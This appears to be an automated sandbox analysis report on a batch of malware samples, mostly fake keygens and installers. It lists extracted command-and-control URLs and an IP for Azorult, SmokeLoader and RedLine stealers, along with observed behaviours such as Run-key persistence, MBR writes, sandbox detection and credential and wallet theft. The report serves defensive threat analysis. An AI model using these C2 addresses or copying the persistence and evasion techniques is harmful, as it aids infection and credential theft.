Overview
overview
10Static
static
8ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
8ฺฺฺà...ฺฺ
windows10_x64
3ฺฺฺà...ฺฺ
windows10_x64
4ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
9ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
8ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
3ฺฺฺà...ฺฺ
windows10_x64
1ฺฺฺà...ฺฺ
windows10_x64
3ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
8ฺฺฺà...ฺฺ
windows10_x64
10ฺฺฺà...ฺฺ
windows10_x64
1ฺฺฺà...ฺฺ
windows10_x64
1Analysis
-
max time kernel
239s -
max time network
310s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
18-11-2020 15:58
Static task
static1
Behavioral task
behavioral1
Sample
1.bin/1.bin.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
2019-09-02_22-41-10.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
31.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
3DMark 11 Advanced Edition.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Archive.zip__ccacaxs2tbz2t6ob3e.exe
Resource
win10v20201028
Behavioral task
behavioral6
Sample
CVE-2018-15982_PoC.swf
Resource
win10v20201028
Behavioral task
behavioral7
Sample
CVWSHSetup[1].bin/WSHSetup[1].exe
Resource
win10v20201028
Behavioral task
behavioral8
Sample
DiskInternals_Uneraser_v5_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral9
Sample
ForceOp 2.8.7 - By RaiSence.exe
Resource
win10v20201028
Behavioral task
behavioral10
Sample
HYDRA.exe
Resource
win10v20201028
Behavioral task
behavioral11
Sample
Keygen.exe
Resource
win10v20201028
Behavioral task
behavioral12
Sample
Lonelyscreen.1.2.9.keygen.by.Paradox/Lonelyscreen.1.2.9.keygen.by.Paradox.exe
Resource
win10v20201028
Behavioral task
behavioral13
Sample
LtHv0O2KZDK4M637.exe
Resource
win10v20201028
Behavioral task
behavioral14
Sample
OnlineInstaller.exe
Resource
win10v20201028
Behavioral task
behavioral15
Sample
Remouse.Micro.Micro.v3.5.3.serial.maker.by.aaocg.exe
Resource
win10v20201028
Behavioral task
behavioral16
Sample
Treasure.Vault.3D.Screensaver.keygen.by.Paradox.exe
Resource
win10v20201028
Behavioral task
behavioral17
Sample
VyprVPN.exe
Resource
win10v20201028
Behavioral task
behavioral18
Sample
WSHSetup[1].exe
Resource
win10v20201028
Behavioral task
behavioral19
Sample
api.exe
Resource
win10v20201028
Behavioral task
behavioral20
Sample
efd97b1038e063779fb32a3ab35adc481679a5c6c8e3f4f69c44987ff08b6ea4.js
Resource
win10v20201028
Behavioral task
behavioral21
Sample
good.exe
Resource
win10v20201028
Behavioral task
behavioral22
Sample
infected dot net installer.exe
Resource
win10v20201028
Behavioral task
behavioral23
Sample
update.exe
Resource
win10v20201028
Behavioral task
behavioral24
Sample
vir1.xls
Resource
win10v20201028
Behavioral task
behavioral25
Sample
xNet.dll
Resource
win10v20201028
General
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
smokeloader
2020
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
Extracted
redline
NEW_YEAR_BTC
86.105.252.12:35200
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 2 IoCs
Processes:
resource yara_rule behavioral4/memory/2180-238-0x0000000004E70000-0x0000000004E93000-memory.dmp family_redline behavioral4/memory/2180-240-0x0000000007A60000-0x0000000007A82000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Nirsoft 8 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Roaming\1605715548739.exe Nirsoft C:\Users\Admin\AppData\Roaming\1605715548739.exe Nirsoft C:\Users\Admin\AppData\Roaming\1605715553192.exe Nirsoft C:\Users\Admin\AppData\Roaming\1605715553192.exe Nirsoft C:\Users\Admin\AppData\Roaming\1605715558348.exe Nirsoft C:\Users\Admin\AppData\Roaming\1605715558348.exe Nirsoft C:\Users\Admin\AppData\Roaming\1605715561348.exe Nirsoft C:\Users\Admin\AppData\Roaming\1605715561348.exe Nirsoft -
XMRig Miner Payload 2 IoCs
Processes:
resource yara_rule behavioral4/memory/5020-418-0x0000000002EA0000-0x0000000002F91000-memory.dmp xmrig behavioral4/memory/5020-420-0x0000000002F3259C-mapping.dmp xmrig -
Creates new service(s) 1 TTPs
-
Downloads MZ/PE file
-
Executes dropped EXE 40 IoCs
Processes:
intro.exekeygen-pr.exekeygen-step-1.exekeygen-step-2.exekeygen-step-3.exekey.exekeygen-step-4.exe002.exeSetup.exesetup.exealiens.exejg2_2qua.exeaskinstall21.exe1A27AE19C9E414DC.exe1A27AE19C9E414DC.exehjjgaa.exejfiag3g_gg.exe1605715548739.exe1605715553192.exe1605715558348.exejfiag3g_gg.exe1605715561348.exeThunderFW.exeMiniThunderPlatform.exe1021C014A4C9A552.exe1021C014A4C9A552.tmpseed.sfx.exeseed.exeA976.exeAB5B.exeAEA8.exeB224.exeBD40.exeCACE.exeD3A9.exertounak.exeA976.exeupdatewin1.exeupdatewin2.exe5.exepid process 388 intro.exe 1136 keygen-pr.exe 1260 keygen-step-1.exe 1588 keygen-step-2.exe 2896 keygen-step-3.exe 4640 key.exe 4572 keygen-step-4.exe 4732 002.exe 2364 Setup.exe 3960 setup.exe 3932 aliens.exe 4260 jg2_2qua.exe 4828 askinstall21.exe 4404 1A27AE19C9E414DC.exe 3472 1A27AE19C9E414DC.exe 2568 hjjgaa.exe 2004 jfiag3g_gg.exe 4740 1605715548739.exe 4556 1605715553192.exe 4756 1605715558348.exe 4488 jfiag3g_gg.exe 4468 1605715561348.exe 4480 ThunderFW.exe 4352 MiniThunderPlatform.exe 5000 1021C014A4C9A552.exe 4820 1021C014A4C9A552.tmp 5084 seed.sfx.exe 2384 seed.exe 4460 A976.exe 3908 AB5B.exe 4548 AEA8.exe 3452 B224.exe 2480 BD40.exe 2180 CACE.exe 2252 D3A9.exe 4880 rtounak.exe 4724 A976.exe 4240 updatewin1.exe 2376 updatewin2.exe 4876 5.exe -
Modifies Windows Firewall 1 TTPs
-
Sets service image path in registry 2 TTPs
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\gdiview.msi office_xlm_macros -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe upx -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\8A98.exe vmprotect C:\Users\Admin\AppData\Local\Temp\8A98.exe vmprotect -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Control Panel\International\Geo\Nation cmd.exe -
Loads dropped DLL 18 IoCs
Processes:
Setup.exeMsiExec.exe1A27AE19C9E414DC.exeMiniThunderPlatform.exeseed.exeAB5B.exeD3A9.exepid process 2364 Setup.exe 2364 Setup.exe 2364 Setup.exe 4128 MsiExec.exe 4404 1A27AE19C9E414DC.exe 4404 1A27AE19C9E414DC.exe 4352 MiniThunderPlatform.exe 4352 MiniThunderPlatform.exe 4352 MiniThunderPlatform.exe 4352 MiniThunderPlatform.exe 4352 MiniThunderPlatform.exe 4352 MiniThunderPlatform.exe 4352 MiniThunderPlatform.exe 4352 MiniThunderPlatform.exe 2384 seed.exe 3908 AB5B.exe 3908 AB5B.exe 2252 D3A9.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
hjjgaa.exeA976.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" hjjgaa.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\9507e886-305f-43d4-af92-699e2b8d747b\\A976.exe\" --AutoStart" A976.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
1A27AE19C9E414DC.exe1A27AE19C9E414DC.exejg2_2qua.exealiens.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA jg2_2qua.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA aliens.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exemsiexec.exedescription ioc process File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\K: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 172 api.2ip.ua 44 ip-api.com 128 api.2ip.ua 129 api.2ip.ua 166 checkip.amazonaws.com -
Writes to the Master Boot Record (MBR) 1 TTPs 4 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
aliens.exe1A27AE19C9E414DC.exe1A27AE19C9E414DC.exeMiniThunderPlatform.exedescription ioc process File opened for modification \??\PhysicalDrive0 aliens.exe File opened for modification \??\PhysicalDrive0 1A27AE19C9E414DC.exe File opened for modification \??\PhysicalDrive0 1A27AE19C9E414DC.exe File opened for modification \??\PhysicalDrive0 MiniThunderPlatform.exe -
Drops file in System32 directory 1 IoCs
Processes:
svchost.exedescription ioc process File created C:\Windows\SysWOW64\config\systemprofile:.repos svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
aliens.exepid process 3932 aliens.exe -
Suspicious use of SetThreadContext 5 IoCs
Processes:
1A27AE19C9E414DC.exertounak.exedescription pid process target process PID 4404 set thread context of 4584 4404 1A27AE19C9E414DC.exe firefox.exe PID 4404 set thread context of 4528 4404 1A27AE19C9E414DC.exe firefox.exe PID 4404 set thread context of 2528 4404 1A27AE19C9E414DC.exe firefox.exe PID 4404 set thread context of 1392 4404 1A27AE19C9E414DC.exe firefox.exe PID 4880 set thread context of 284 4880 rtounak.exe svchost.exe -
Drops file in Program Files directory 38 IoCs
Processes:
1021C014A4C9A552.tmpseed.sfx.exesetup.exedescription ioc process File created C:\Program Files (x86)\RearRips\is-BPJRH.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-VR1M7.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-JGJTN.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-LLC39.tmp 1021C014A4C9A552.tmp File opened for modification C:\Program Files (x86)\Seed Trade\Seed\seed.exe seed.sfx.exe File opened for modification C:\Program Files (x86)\9ku5npt6tedk setup.exe File created C:\Program Files (x86)\RearRips\is-6OT2K.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\is-ML5CA.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-1B9RM.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-D2GBS.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-U9GEE.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\lang\is-1U8AB.tmp 1021C014A4C9A552.tmp File opened for modification C:\Program Files (x86)\RearRips\seed.sfx.exe 1021C014A4C9A552.tmp File created C:\Program Files (x86)\Seed Trade\Seed\__tmp_rar_sfx_access_check_259433421 seed.sfx.exe File created C:\Program Files (x86)\Seed Trade\Seed\seed.exe seed.sfx.exe File created C:\Program Files (x86)\RearRips\images\is-7LR1J.tmp 1021C014A4C9A552.tmp File opened for modification C:\Program Files (x86)\9ku5npt6tedk\aliens.exe setup.exe File created C:\Program Files (x86)\RearRips\is-FEE9V.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\is-0HMIC.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-L9O1D.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\9ku5npt6tedk\aliens.exe setup.exe File created C:\Program Files (x86)\RearRips\images\is-7NKDG.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-J6OT7.tmp 1021C014A4C9A552.tmp File opened for modification C:\Program Files (x86)\Seed Trade\Seed seed.sfx.exe File opened for modification C:\Program Files (x86)\RearRips\DreamTrip.exe 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-QG1B3.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-IQPH2.tmp 1021C014A4C9A552.tmp File opened for modification C:\Program Files (x86)\RearRips\unins000.dat 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\unins000.dat 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-A573D.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-J9B0V.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\is-NIPH5.tmp 1021C014A4C9A552.tmp File opened for modification C:\Program Files (x86)\Seed Trade seed.sfx.exe File created C:\Program Files (x86)\RearRips\is-RFMUA.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-4VJ1L.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\images\is-2HV9I.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\RearRips\lang\is-9ED17.tmp 1021C014A4C9A552.tmp File created C:\Program Files (x86)\9ku5npt6tedk\__tmp_rar_sfx_access_check_259342734 setup.exe -
Drops file in Windows directory 1 IoCs
Processes:
MicrosoftEdge.exedescription ioc process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
1A27AE19C9E414DC.exe1A27AE19C9E414DC.exeseed.exeD3A9.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 1A27AE19C9E414DC.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 1A27AE19C9E414DC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI D3A9.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 1A27AE19C9E414DC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 1A27AE19C9E414DC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI D3A9.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI D3A9.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 1A27AE19C9E414DC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 1A27AE19C9E414DC.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 1A27AE19C9E414DC.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
AB5B.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString AB5B.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 AB5B.exe -
Delays execution with timeout.exe 1 IoCs
Processes:
timeout.exepid process 4536 timeout.exe -
Kills process with taskkill 3 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exepid process 4360 taskkill.exe 908 taskkill.exe 4428 taskkill.exe -
Processes:
browser_broker.exeMicrosoftEdgeCP.exeMicrosoftEdge.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
svchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Control Panel\Buses svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Control Panel\Buses\Config0 = 04e9a73f71eabb0524edb47d450dd49d084297dce82e72baa46d34fdc48d541db1aac4da86cd945d24edb47d470dd49d024195daf71261adc06d04fda6e22673bbc9154961cda56913d48045713fedaa644490bdb67525e99d590dcdf38d3c74bbc4103d32f5a16512dd854c740db8f2054991cfdb2470dd976d5d8dc4b5622dd79d420530ff942e569beb092d60b19d491ccc8dbc7425ef9d5f03fda8e2377c88f2005469a8946c10da8d497c38e7ad552d109dd24d62fa8b3534fdc48d551de4ad035276a6cb2e569bb47d440dd49d642dab9d50ad51dda46d34fe089f571de4ad750531e3a56c10c3854e7023eca5642df4bd844d14dda46d34fdc48d541de4ad743d04cd945d24edb47d440dd49d642df4bd844d14dda46d34fdc48d541de4ad74de05cd94 svchost.exe -
Modifies registry class 64 IoCs
Processes:
MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing\NewTabPage\ProcessingFlag = 801208ecc4bdd601 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$blogger MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CachePrefix MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\trust\CTLs MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BingPageData\RulesFileCountryCode = "US" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$Discuz! MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000_Classes\Local 